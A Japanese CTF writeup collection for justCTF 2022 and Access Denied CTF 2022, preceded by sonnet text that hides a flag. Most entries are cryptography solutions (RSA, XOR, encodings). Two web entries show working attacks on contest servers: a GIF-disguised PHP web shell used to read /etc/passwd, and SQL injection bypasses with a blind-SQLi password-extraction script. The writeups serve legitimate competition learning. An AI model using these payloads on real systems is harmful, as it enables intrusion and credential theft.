Nor it nor no remembrance what it was.
But flowers distilled though they with winter meet,
Leese but their show, their substance still lives sweet.

Then let not winter's ragged hand deface,
In thee thy summer ere thou be distilled:
Make sweet some vial; treasure thou some place,
With beauty's treasure ere it be self-killed:
That use is not forbidden usury,
Which happies those that pay the willing loan;
That's for thy self to breed another thee,
Or ten times happier be it ten for one,
Ten times thy self were happier than thou art,
If ten of thine ten times refigured thee:
Then what could death do if thou shouldst depart,
Leaving thee living in posterity?
Be not self-willed for thou art much too fair,
To be death's conquest and make worms thine heir.

Lo in the orient when the gracious light
Lifts up his burning head, each under eye
Doth homage to his new-appearing sight,
Serving with looks his sacred majesty,
And having climbed the steep-up heavenly hill,
Resembling strong youth in his middle age,
Yet mortal looks adore his beauty still,
Attending on his golden pilgrimage:
But when from highmost pitch with weary car,
Like feeble age he reeleth from the day,
The eyes (fore duteous) now converted are
From his low tract and look another way:
So thou, thy self out-going in thy noon:
Unlooked on diest unless thou get a son.

Music to hear, why hear'st thou music sadly?
Sweets with sweets war not, joy delights in joy:
Why lov'st thou that which thou receiv'st not gladly,
Or else receiv'st with pleasure thine annoy?
If the true concord of well-tuned sounds,
By unions married do offend thine ear,
They do but sweetly chide thee, who confounds
flag{cRyt0_aNalys1s_101}
In singleness the parts that thou shouldst bear:
Mark how one string sweet husband to another,
Strikes each in each by mutual ordering;
Resembling sire, and child, and happy mother,
Who all in one, one pleasing note do sing:
Whose speechless song being many, seeming one,
Sings this to thee, 'Thou single wilt prove none'.

Is it for fear to wet a widow's eye,
That thou consum'st thy self in single life?
Ah, if thou issueless shalt hap to die,
The world will wail thee like a makeless wife,
The world will be thy widow and still weep,
That thou no form of thee hast left behind,
When every private widow well may keep,
By children's eyes, her husband's shape in mind:
Look what an unthrift in the world doth spend
Shifts but his place, for still the world enjoys it;
But beauty's waste hath in the world an end,
And kept unused the user so destroys it:
No love toward others in that bosom sits
That on himself such murd'rous shame commits.

For shame deny that thou bear'st love to any
Who for thy self art so unprovident.
Grant if thou wilt, thou art beloved of many,
But that thou none lov'st is most evident:
For thou art so possessed with murd'rous hate,
That 'gainst thy self thou stick'st not to conspire,
Seeking that beauteous roof to ruinate
Which to repair should be thy chief desire:
O change thy thought, that I may change my mind,
Shall hate be fairer lodged than gentle love?
Be as thy presence is gracious and kind,
Or to thy self at least kind-hearted prove,
Make thee another self for love of me,
That beauty still may live in thine or thee.

As fast as thou shalt wane so fast thou grow'st,
In one of thine, from that which thou departest,
And that fresh blood which youngly thou bestow'st,
Thou mayst call thine, when thou from youth convertest,
Herein lives wisdom, beauty, and increase,
Without this folly, age, and cold decay,
If all were minded so, the times should cease,
And threescore year would make the world away:
Let those whom nature hath not made for store,
Harsh, featureless, and rude, barrenly perish:
Look whom she best endowed, she gave thee more;
Which bounteous gift thou shouldst in bounty cherish:
She carved thee for her seal, and meant thereby,
Thou shouldst print more, not let that copy die.

When I do count the clock that tells the time,
And see the brave day sunk in hideous night,
When I behold the violet past prime,
And sable curls all silvered o'er with white:
When lofty trees I see barren of leaves,
Which erst from heat did canopy the herd
And summer's green all girded up in sheaves
Borne on the bier with white and bristly beard:
Then of thy beauty do I question make
That thou among the wastes of time must go,
Since sweets and beauties do themselves forsake,
And die as fast as they see others grow,
And nothing 'gainst Time's scythe can make defence
Save breed to brave him, when he takes thee hence.

O that you were your self, but love you are
No longer yours, than you your self here live,
Against this coming end you should prepare,
And your sweet semblance to some other give.
So should that beauty which you hold in lease
Find no determination, then you were
Your self again after your self's decease,
When your sweet issue your sweet form should bear.
Who lets so fair a house fall to decay,
Which husbandry in honour might uphold,
Against the stormy gusts of winter's day
And barren rage of death's eternal cold?
O none but unthrifts, dear my love you know,
You had a father, let your son say so.

Not from the stars do I my judgement pluck,
And yet methinks I have astronomy,
But not to tell of good, or evil luck,
Of plagues, of dearths, or seasons' quality,
Nor can I fortune to brief minutes tell;
Pointing to each his thunder, rain and wind,
Or say with princes if it shall go well
By oft predict that I in heaven find.
But from thine eyes my knowledge I derive,
And constant stars in them I read such art
As truth and beauty shall together thrive
If from thy self, to store thou wouldst convert:
Or else of thee this I prognosticate,
Thy end is truth's and beauty's doom and date.

When I consider every thing that grows
Holds in perfection but a little moment.
That this huge stage presenteth nought but shows
Whereon the stars in secret influence comment.
When I perceive that men as plants increase,
Cheered and checked even by the self-same sky:
Vaunt in their youthful sap, at height decrease,
And wear their brave state out of memory.
Then the conceit of this inconstant stay,
Sets you most rich in youth before my sight,
Where wasteful time debateth with decay
To change your day of youth to sullied night,
And all in war with Time for love of you,
As he takes from you, I engraft you new.

復号した文章中にフラグが含まれていた。

flag{cRyt0_aNalys1s_101}

Hackerized (Crypto 100)

暗号は以下の通り。

∲↑Λç{⊥☐☐_↑33⊥_4_\☐ü}

アルファベットに似ている文字で暗号を表しているようだ。

flag{too_l33t_4_you}

justCTF 2022 Writeup

この大会は2022/6/11 15:00(JST)~2022/6/13 4:00(JST)に開催されました。
今回もチームで参戦。結果は50点で333チーム中176位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Twitterの最新ツイートにフラグが書いてあった。

justCTF{please_like_the_tweet}

Access Denied CTF 2022 Writeup

この大会は2022/6/10 19:30(JST)~2022/6/12 19:30(JST)に開催されました。
今回もチームで参戦。結果は23004点で391チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

accessdenied{pl4y_f41r_h4v3_fUn_05cfebe1}

RSA-1(Crypto)

RSA暗号で、p, q, e, cがわかっているので、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

p = 10428615258416108003372202871855627713663325599674460924186517713082197448534315449595394752587304354394402047262801959990727856908043138185588365886987557
q = 8849030739304056868757301096931487921973840186794195322071503751716059434197468028088264340322992996182734000877348221433845302801843370163430108727308579
e = 65537
cipher_text = 84826403344972753121997388456739256614537789930909176473018827332005543366933391914385410712984001888365906754988120732970328825657318675360778107518188000885732104031648548997976916964730682864696944786364581243443475767387970255510475855029059715864139791778210784283726274424510221073880200865856769716576

n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(cipher_text, d, n)
flag = long_to_bytes(m).decode()
print(flag)
accessdenied{RSA_1S_4M4Z1nG_R1GhT????_2a5286af}

Shark-1 (Misc)

TCP Streamを見てみる。

give me the xor key
xor key 80
Here is the flag: 4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q==
Thank you got it

base64文字列をデコードしたものをXOR鍵0x80で復号する。

#!/usr/bin/env python3
from base64 import *

key = 0x80
enc_flag = '4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q=='

enc_flag = b64decode(enc_flag)

flag = ''
for c in enc_flag:
    flag += chr(c ^ key)
print(flag)
accessdenied{w1r3sh4rk_b3st_f0r_p4ck3t_sn1ff1ng_9fc3841b1}

RSA-2 (Crypto)

yafuでNを素因数分解する。

>yafu-x64.exe "factor(264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187)" -v -threads 4


06/10/22 22:19:57 v1.34.5 @ RINA-TAKUMI, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2907.560660
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C174
rho: x^2 + 2, starting 1000 iterations on C174
rho: x^2 + 1, starting 1000 iterations on C174
pm1: starting B1 = 150K, B2 = gmp-ecm default on C174
fac: setting target pretesting digits to 53.54
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t53.54
ecm: 30/30 curves on C174, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 53.54
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t53.54
ecm: 16/74 curves on C174, B1=11K, B2=gmp-ecm default
ecm: found prp20 factor = 22788121468146346999

fac: setting target pretesting digits to 47.69
fac: t15: 2.42
fac: t20: 0.27
fac: t25: 0.01
fac: sum of completed work is t16.33
fac: work done at B1=11000: 17 curves, max work = 74 curves
fac: 57 more curves at B1=11000 needed to get to t47.69
Total factoring time = 1.4154 seconds


***factors found***

P20 = 22788121468146346999
P155 = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813

ans = 1

あとはこのまま通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

N = 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187
e = 65537
ct = 175347248748800717331910762241898102719683222504200516534883687111045877096093372005991552193144558951747833811929393668749668731738201985792026669764642235225240342271148171

p = 22788121468146346999
q = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813
assert N == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, N)
flag = long_to_bytes(m).decode()
print(flag)
accessdenied{alw4y5_try_t0_f4ct0r1z3_n_9ba93547}

Safe Upload (Web)

phpをアップロードしようとしたら、以下のメッセージが表示された。

Files of type JPEG, GIF, PNG are allowed

いろいろ試したところ、拡張子をみているわけではなさそう。

$ cat exploit.php
GIF89a;
<?
system($_GET['cmd']);
?>

$ file exploit.php
exploit.php: GIF image data, version 89a, 3387 x 15370

exploit.phpをアップロードすると、以下のメッセージが表示された。

The file 1d447a819cf22de03db7ac6608cf6da4.php has been uploaded

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=pwdにアクセスする。

GIF89a;
/var/www/html/uploads

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=ls -lにアクセスする。

GIF89a;
total 84
-rw-r--r-- 1 www-data www-data    63 Jun 11 03:57 18f638955c01b113b40b2f7c031348bc.php
-rw-r--r-- 1 www-data www-data    38 Jun 11 03:55 1d447a819cf22de03db7ac6608cf6da4.php
-rw-r--r-- 1 www-data www-data 61116 Jun 11 03:56 251b5bd771b819bac71422a492cdb17c.jpg
-rw-r--r-- 1 www-data www-data    24 Jun 11 03:56 4af446b0b8cf2e65502c3d6bbf6384d4.<script>eval(atob('ywxlcnqozg9jdw1lbnquy29va2llkq='))<script>
-rw-r--r-- 1 www-data www-data    24 Jun 11 03:56 63585f4bb3a216a61193a051e1c17cdb.<script>eval(atob(
-rw-r--r-- 1 www-data www-data    63 Jun 11 03:55 65229de98107d1032aa9e310d64ce4e4.php
-rw-r--r-- 1 www-data www-data    24 Jun 11 03:55 de2c32b7d55f2ed1b0d580ffa7f1586a.script>

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=cat /etc/passwdにアクセスする。

GIF89a;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=ls -l /にアクセスする。

GIF89a;
total 80
drwxr-xr-x   1 root root 4096 Jun  9 16:31 app
drwxr-xr-x   1 root root 4096 Dec 11  2020 bin
drwxr-xr-x   2 root root 4096 Nov 22  2020 boot
drwxr-xr-x   5 root root  340 Jun  9 16:33 dev
drwxr-xr-x   1 root root 4096 Jun  9 16:33 etc
-rwxr-xr-x   1 root root   44 Jun 10 05:31 flag.txt
drwxr-xr-x   2 root root 4096 Nov 22  2020 home
drwxr-xr-x   1 root root 4096 Dec 11  2020 lib
drwxr-xr-x   2 root root 4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root 4096 Dec  9  2020 media
drwxr-xr-x   2 root root 4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root 4096 Dec  9  2020 opt
dr-xr-xr-x 186 root root    0 Jun  9 16:33 proc
drwx------   1 root root 4096 Jun  9 16:56 root
drwxr-xr-x   1 root root 4096 Dec 11  2020 run
drwxr-xr-x   1 root root 4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root 4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root    0 Jun  9 16:33 sys
drwxrwxrwt   1 root root 4096 Jun 11 04:00 tmp
drwxr-xr-x   1 root root 4096 Dec  9  2020 usr
drwxr-xr-x   1 root root 4096 Dec 11  2020 var

flag.txtがあった。http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=cat /flag.txtにアクセスする。

GIF89a;
accessdenied{php_bu7_n07_php_f1l3_74a148ef}
accessdenied{php_bu7_n07_php_f1l3_74a148ef}

babyc (Rev)

reverse関数は8bitのビット配列を逆順にする。その後23とのXORをしたものがflag配列になっている。このことから逆算して、flagを求める。

#!/usr/bin/env python3
enc_flag = [-111, -47, -47, -79, -39, -39, 49, -79, 97, -127, -79, 49, -55, 9,
    27, 89, -19, 59, 97, 49, -19, 89, -37, 121, -37, 89, -69, -37, -19, -111,
    89, -37, -19, 113, -71, 97, -19, -101, 49, 49, 11, 91, -69, 11, -79, -87]

key = 23

flag = ''
for c in enc_flag:
    b = bin((c % 256) ^ key)[2:].zfill(8)[::-1]
    flag += chr(int(b, 2))
print(flag)
accessdenied{x0r_4nd_r3v3r53_ar3_fun_1dd8258e}

Small key (Crypto)

XOR鍵は8バイト。フラグは"accessde"から始まることを前提に復号する。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

flag_enc = '763d32726973a23f79373473616ba86a60300e677634f734482a626f6e5ff22e636a327c2f5ff228240123242e6caa23483d6127765fff6d743a61212f38bb'

flag_enc = bytes.fromhex(flag_enc)
flag_head = b'accessde'

key = strxor(flag_head, flag_enc[:8])

flag = ''
for i in range(len(flag_enc)):
    flag += chr(flag_enc[i] ^ key[i % len(key)])
print(flag)
accessdenied{kn0wn_pl41n_t3xt_4tt4ck5_4r3_r34lly_c00l_97cd0658}

PORTAL DE LOGIN (Web)

以下でログインできるが、特に何も表示されない。

USERNAME: admin' -- -
PASSWORD: a

以下でもログインできる。

USERNAME: ' union select 1,2,3 -- -
PASSWORD: a

以下でもログインできる。

USERNAME: ' union select id, username, password from users -- -
PASSWORD: a

adminのパスワードをBlind SQL Injectionで割り出す。

#!/usr/bin/env python3
import requests

url = 'http://35.188.63.150/'

passlen = -1
for i in range(1, 65):
    data = {"username": "admin' and (SELECT length(password) FROM users "
        + "WHERE username = 'admin') = " + str(i) + "-- -", "password": "a"}
    r = requests.post(url, data=data)
    if 'Login Sucess' in r.text:
        passlen = i
        break

print('[+] Password Length is:', passlen)

flag = ''
for i in range(1, passlen + 1):
    for code in range(33, 127):
        data = {"username": "admin' and substr((SELECT password FROM users "
            + "WHERE username = 'admin')," + str(i) + ",1) = '" + chr(code)
            + "' -- -", "password": "a"}
        r = requests.post(url, data=data)
        if 'Login Sucess' in r.text:
            flag += chr(code)
            break
    print('[+] flag:', flag)

print('[*] flag:', flag)

実行結果は以下の通り。

[+] Password Length is: 47
[+] flag: A
[+] flag: AC
[+] flag: ACC
[+] flag: ACCE
[+] flag: ACCES
[+] flag: ACCESS
[+] flag: ACCESSD
[+] flag: ACCESSDE
[+] flag: ACCESSDEN
[+] flag: ACCESSDENI
[+] flag: ACCESSDENIE
[+] flag: ACCESSDENIED
[+] flag: ACCESSDENIED{
[+] flag: ACCESSDENIED{B
[+] flag: ACCESSDENIED{BL
[+] flag: ACCESSDENIED{BL1
[+] flag: ACCESSDENIED{BL1N
[+] flag: ACCESSDENIED{BL1ND
[+] flag: ACCESSDENIED{BL1ND_
[+] flag: ACCESSDENIED{BL1ND_B
[+] flag: ACCESSDENIED{BL1ND_BL
[+] flag: ACCESSDENIED{BL1ND_BL1
[+] flag: ACCESSDENIED{BL1ND_BL1N
[+] flag: ACCESSDENIED{BL1ND_BL1ND
[+] flag: ACCESSDENIED{BL1ND_BL1NDD
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_B
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BL
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLI
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLIN
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLIND
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDD
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_S
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQ
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5F
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2D
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB7
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70
[+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}
[*] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}

このフラグで通らないので、小文字にしてみる。

>>> 'ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}'.lower()
'accessdenied{bl1nd_bl1ndd_blinddd_sql_5fe2db70}'
accessdenied{bl1nd_bl1ndd_blinddd_sql_5fe2db70}

sifers (Crypto)

1行ずつ異なる方式でエンコード、暗号化されている。

・1行目:0ujyfwa87u
→シーザー暗号と推測。ただし数字とアルファベットをシフトする。
→シフト:-7
→3ncrypt10n★

・2行目:M25jMGQxbmc=
→base64デコード

$ echo M25jMGQxbmc= | base64 -d
3nc0d1ng★

・3行目:GRXGI===
→base32デコード

>>> b32decode('GRXGI===')
b'4nd'★

・4行目:2eac7797ba995850a0372814e2a7ba87
→md5と推測し、https://crackstation.net/でクラック
→h4sh1ng★

・5行目:00110100 01101100 01101100
→2進数

>>> codes = '00110100 01101100 01101100'.split(' ')
>>> ''.join([chr(int(code, 2)) for code in codes])
'4ll'★

・6行目:64 162 63
→8進数

>>> ''.join([chr(int(code, 8)) for code in codes])
'4r3'★

・7行目:q4ss6e6ag
→アルファベットは-13シフト、数字は-3シフト
→d1ff3r3nt★

・8行目:65 62 32 35 64 38 62 37
→16進数

>>> codes = '65 62 32 35 64 38 62 37'.split(' ')
>>> ''.join([chr(int(code, 16)) for code in codes])
'eb25d8b7'★

問題文には書かれていないが、他の問題と同様のフラグの形式と考え、accessdenied{xxx_yyy_zzz}のような形式に構成する。

accessdenied{3ncrypt10n_3nc0d1ng_4nd_h4sh1ng_4ll_4r3_d1ff3r3nt_eb25d8b7}

reused key (Crypto)

同じ鍵でフラグとあるテキストがXOR暗号化されている。https://github.com/SpiderLabs/cribdragのツール(Python2)を使って、推測しながら復号する。
まず2つの暗号をXORする。

$ python xorstrings.py 65f32f851cdb20eee875eea5a9a30f826cfd247eb550dcc89d1d4cdf952f5c28ca5f162355567fd262bb96 70f8259330c137d4e873ff9ea6a559ab2dea1a60d943859aa545578395301d28a0741d1e065a24d45cb19f
150b0a162c1a173a0006113b0f06562941173e1e6c13595238581b5c001f41006a2b0b3d530c5b063e0a09

推測しながら復号する。

$ python cribdrag.py 150b0a162c1a173a0006113b0f06562941173e1e6c13595238581b5c001f41006a2b0b3d530c5b063e0a09
Your message is currently:
0	________________________________________
40	___
Your key is currently:
0	________________________________________
40	___
Please enter your crib: accessdenied{
0: "this_is_not_t"
1: "jiuIid^ehx^k}"
2: "kuOdIdcRjb-"
*** 3: "wOyrIsbtUfc2R"
4: "Myt_suu^ao3M:"
5: "{tYeub_jh?L%l"
6: "vYccbHkc8@$sE"
7: "[cetH|b3G(rZe"
8: "aer^|u2L/~[z"
9: "grXju%M$yWh"
10: "pXlc%Z%rPw	w""
11: "Zle3Z2s[pv=)"
12: "ne5L2dZ{z<6C"
13: "g5J$dMz	}07\#"
14: "7J"rMv7;]<`"
15: "H"t[mw<<Q='"
16: " t]{`=7V1~8{"
17: "v]}	`*6]6r9dd"
18: "_}v*!\=u5e{:"
19: "p<!K<~2iz%{"
p:7K+9nv$d"
21: "r:1]+h8eq(eP"
22: "81[=h/dz/iOp"
23: "3[;~/s{$nNoF"
24: "Y;x9sl%eBnY("
25: "9x?el2dEbX7w"
26: "z?cz2sNeT6h "
27: "=c|$sOnS:i?}"
28: "a|"eXoX=e>bE"
29: "~"cXxY6b2cZq"
30: " c	NxN7i5o[nr"
Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{___________________________
40	___
Your key is currently:
0	this_is_not_t___________________________
40	___
Please enter your crib: the_
*** 0: "acoI"
1: "bss"
2: "~~IE"
3: "bDH"
*** 4: "Xrre"
5: "n__"
*** 6: "cReY"
*** 7: "NhcN"
*** 8: "tntd"
9: "ry^P"
*** 10: "eSjY"
11: "Ogc	"
12: "{n3v"
13: "r>L"
14: ""A$H"
15: "])ra"
16: "5[A"
17: "cV{3"
18: "Jv	L"
19: "jv"
"0: "{<
*** 21: "g17g"
22: "-:]"
23: "&P=D"
24: "L0~"
25: ",s9_"
26: "o4e@"
27: "(hz"
28: "tw$_"
29: "k)e5"
30: "5ht"
31: "tNT"
32: "Cnb"
33: "_cX
        "
34: "U6S"
35: "I;i"
36: "'d>Y"
*** 37: "x3ca"
38: "/n[U"
*** 39: "rVoV"
Enter the correct position, 'none' for no match, or 'end' to quit: 12
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v________________________
40	___
Your key is currently:
0	this_is_not_the_________________________
40	___
Please enter your crib: 3r_
0: "&yU"
*** 1: "8xI"
*** 2: "9ds"
3: "%^E"
4: "hH"
5: ")ee"
6: "$H_"
7: "	rY"
*** 8: "3tN"
*** 9: "5cd"
*** 10: ""IP"
11: }Y"
12: "<t	"
13: "5$v"
14: "e["
15: "3H"
*** 16: "rea"
17: "$LA"
l3" "
19: "-L"
20: "_a"
"1: " +
*** 22: "j g"
23: "aJ"
24: "
     *D"
25: "ki"
26: "(._"
27: "or@"
28: "3m"
29: ",3_"
*** 30: "rr5"
31: "3t"
*** 32: "YYT"
33: "yb"
34: "8O
       "
35: "!S"
36: "`~"
37: "?)Y"
*** 38: "hta"
*** 39: "5LU"
xV" "
Enter the correct position, 'none' for no match, or 'end' to quit: 16
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r______________________
40	___
Your key is currently:
0	this_is_not_the_rea_____________________
40	___
Please enter your crib: l_
*** 0: "yT"
*** 1: "gU"
*** 2: "fI"
*** 3: "zs"
4: "@E"
*** 5: "vH"
6: "{e"
7: "V_"
*** 8: "lY"
*** 9: "jN"
10: "}d"
*** 11: "WP"
*** 12: "cY"
13: "j	"
*** 14: ":v"
15: "E"
16: "-H"
17: "{a"
*** 18: "RA"
*** 19: "r3"
20: "L"
21: ""
"2: "5
23: ">g"
24: "T"
*** 25: "4D"
26: "w"
27: "0_"
28: "l@"
29: "s"
30: "-_"
*** 31: "l5"
32: "t"
*** 33: "GT"
*** 34: "gb"
35: "Q
      "
*** 36: "?S"
37: "`"
*** 38: "7Y"
*** 39: "ja"
*** 40: "RU"
*** 41: "fV"
Enter the correct position, 'none' for no match, or 'end' to quit: 19
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3___________________
40	___
Your key is currently:
0	this_is_not_the_real____________________
40	___
Please enter your crib: u53_
0: "`>9I"
1: "~?%s"
2: "#E"
3: "c)H"
4: "Y/$e"
5: "o"	_"
6: "b3Y"
*** 7: "O55N"
*** 8: "u3"d"
9: "sP"
10: "d<Y"
11: "N:5	"
*** 12: "z3ev"
13: "sc"
14: "#rH"
15: "\t$a"
A": "4"
17: "b
      -3"
18: "K+_L"
19: "kY "
"0: "&j
*** 21: "flag"
22: ",g
       "
kD" "'
24: "Mm("
25: "-.o_"
26: "ni3@"
27: ")5,"
28: "u*r_"
*** 29: "jt35"
*** 30: "45Yt"
31: "u_T"
32: "8b"
33: "^>
       "
34: "`S"
35: "Hf?"
36: "&9hY"
*** 37: "yn5a"
U": ".3
39: "s
      9V"
Enter the correct position, 'none' for no match, or 'end' to quit: 21
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r_r3u53________________
40	___
Your key is currently:
0	this_is_not_the_real_flag_______________
40	___
Please enter your crib: th3_k3y5_
0: "ac9IG)n_"
1: "b%sq$C5Y"
2: "~~E|	y3N"
3: "bD)HQ3$d"
4: "Xr$ek5hP"
5: "n	_m"B:Y"
6: "cR3Yv3	"
7: "Nh5NP<cv"
8: "tn"dd5/"
9: "rPmePtH"
10: "eS<Y=8"a"
11: "Og5	Brn
                   A"
12: "{nev*$G+3"
gYL""r>|
14: ""ArHU-&"
"5: "])$au_jl
A  gg"
"7: "cV-3xj+
18: "Jv_L2aAmD"
19: "j 9
          !."
Skbi_"{j
21: "g1ag3(%5@"
22: "-:
       poy*"
23: "&PkD73ft_"
24: "L0(k,855"
25: ",so_try_t"
26: "o43@*3T"
27: "(h,kYR>b"
28: "twr_r
           "
29: "k)35@8DfS"
30: "5hYt`*9"
31: "tTV`unY"
32: "C8b8?"3a"
33: "_c
       gh
         U"
34: "U`S05G?V"
Enter the correct position, 'none' for no match, or 'end' to quit: 25
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_______
40	___
Your key is currently:
0	this_is_not_the_real_flag,so_try_t______
40	___
Please enter your crib: to_
*** 0: "adU"
1: "eI"
2: "~ys"
*** 3: "bCE"
*** 4: "XuH"
*** 5: "nxe"
6: "cU_"
*** 7: "NoY"
*** 8: "tiN"
9: "r~d"
*** 10: "eTP"
11: "O`Y"
12: "{i	"
*** 13: "r9v"
14: ""F"
15: "].H"
*** 16: "5xa"
*** 17: "cQA"
*** 18: "Jq3"
19: "jL"
20: "|"
"1: "g6
22: "-=g"
23: "&W"
*** 24: "L7D"
25: ",t"
26: "o3_"
27: "(o@"
28: "tp"
29: "k._"
*** 30: "5o5"
31: "tt"
32: "DT"
33: "_db"
34: "R
      "
35: "I<S"
36: "'c"
*** 37: "x4Y"
38: "/ia"
*** 39: "rQU"
*** 40: "JeV"
Enter the correct position, 'none' for no match, or 'end' to quit: 33
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	accessdenied{n3v3r_r3u53_th3_k3y5_db____
40	___
Your key is currently:
0	this_is_not_the_real_flag,so_try_to_____
40	___
Please enter your crib: }
*** 0: "h"
*** 1: "v"
*** 2: "w"
*** 3: "k"
*** 4: "Q"
*** 5: "g"
*** 6: "j"
*** 7: "G"
8: "}"
9: "{"
*** 10: "l"
*** 11: "F"
*** 12: "r"
13: "{"
14: "+"
*** 15: "T"
16: "<"
*** 17: "j"
*** 18: "C"
*** 19: "c"
20: ""
*** 21: "n"
22: "$"
23: "/"
*** 24: "E"
25: "%"
*** 26: "f"
*** 27: "!"
28: "}"
*** 29: "b"
30: "<"
31: "}"
32: ""
*** 33: "V"
*** 34: "v"
35: "@"
*** 36: "."
*** 37: "q"
38: "&"
